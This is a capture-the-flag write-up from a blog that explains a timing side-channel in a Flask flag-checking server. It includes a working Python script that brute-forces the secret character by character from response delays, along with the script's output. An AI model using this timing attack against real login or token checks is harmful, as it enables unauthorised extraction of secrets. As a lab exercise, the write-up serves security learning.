DEV Community

wireless90
wireless90

Posted on

IvyFinal CTF (Crypto 3) - Silly 400 - points

You can get the binary here .

silly - 400 points

192.168.40.199 8300

The server code is given to us as such.

from flask import Flask, request, Response
from flask_cors import CORS
from hashlib import md5
import time

app = Flask(__name__)
CORS(app)

def get_flag_length():
    time.sleep(0.05) # Throttling against brute-forcers
    flag = open('../flag.txt','r').read()
    return len(flag)

def get_flag_char(i):
    flag = open('../flag.txt','r').read()
    return flag[i].encode()

def checkflag(userflag):
    for i, c in enumerate(userflag):
        if get_flag_length() <= i:
            return False

        if c.encode() != get_flag_char(i):
            return False

    if get_flag_length() != len(userflag):
        return False

    return True

@app.route("/", methods=['GET'])
def index():
    userflag = request.args.get('flag')
    if not userflag:
        return Response("Missing flag", status=401)

    if checkflag(userflag):
        return Response("YOU DID IT!!!", status=200)
    else:
        return Response("Wrong flag. Characters supported: [a-z_{}]", status=401)

Enter fullscreen mode Exit fullscreen mode

Let's Begin

In order to get the flag, we need to pass the checkflag method.

The index method also gives us the clue to the characters in the flag.

return Response("Wrong flag. Characters supported: [a-z_{}]", status=401)
Enter fullscreen mode Exit fullscreen mode

In the checkflag method, it checks for every character if get_flag_length() <= i.

We can see a bruteforce preventive measure in the function.

time.sleep(0.05) # Throttling against brute-forcers
Enter fullscreen mode Exit fullscreen mode

However, due to multiple uses of get_flag_length in the checkflag method, this could cause a delayed response when we entered a wrong character vs the correct character. The correct character will incur a longer delay.

Thus we can perform a time based attack. The character which incurred the longest delay would be the right one.

In [10]: import requests

In [11]: payload = {'flag': 'a'}

In [12]: response = requests.get('http://192.168.40.199:8300', params=payload)

In [13]: response.text
Out[13]: 'Wrong flag. Characters supported: [a-z_{}]'

Enter fullscreen mode Exit fullscreen mode

So we know that the flag contains lower case alphabets, curly braces and underscores.

So to do the time based attack, we can

In [28]: import string

In [29]: import requests

In [30]: characters = [ch for ch in string.ascii_lowercase] + ['{', '}', '+']

In [31]: found = []

In [32]: while '}' not in found:
    ...:     longest_time = 0
    ...:     character = '0'
    ...:     for ch in characters:
    ...:         payload = {'flag': ''.join(found) + ch}
    ...:         response = requests.get('http://192.168.40.199:8300', params=payload)
    ...:         seconds = response.elapsed.total_seconds()
    ...:         if seconds > longest_time:
    ...:             longest_time = seconds
    ...:             character = ch
    ...:     found.append(character)
    ...:     print(''.join(found))
    ...:
i
iv
ivy
ivyc
ivyct
ivyctf
ivyctf{
ivyctf{c
ivyctf{ca
ivyctf{can
ivyctf{can}
Enter fullscreen mode Exit fullscreen mode

And we got the flag.

Top comments (0)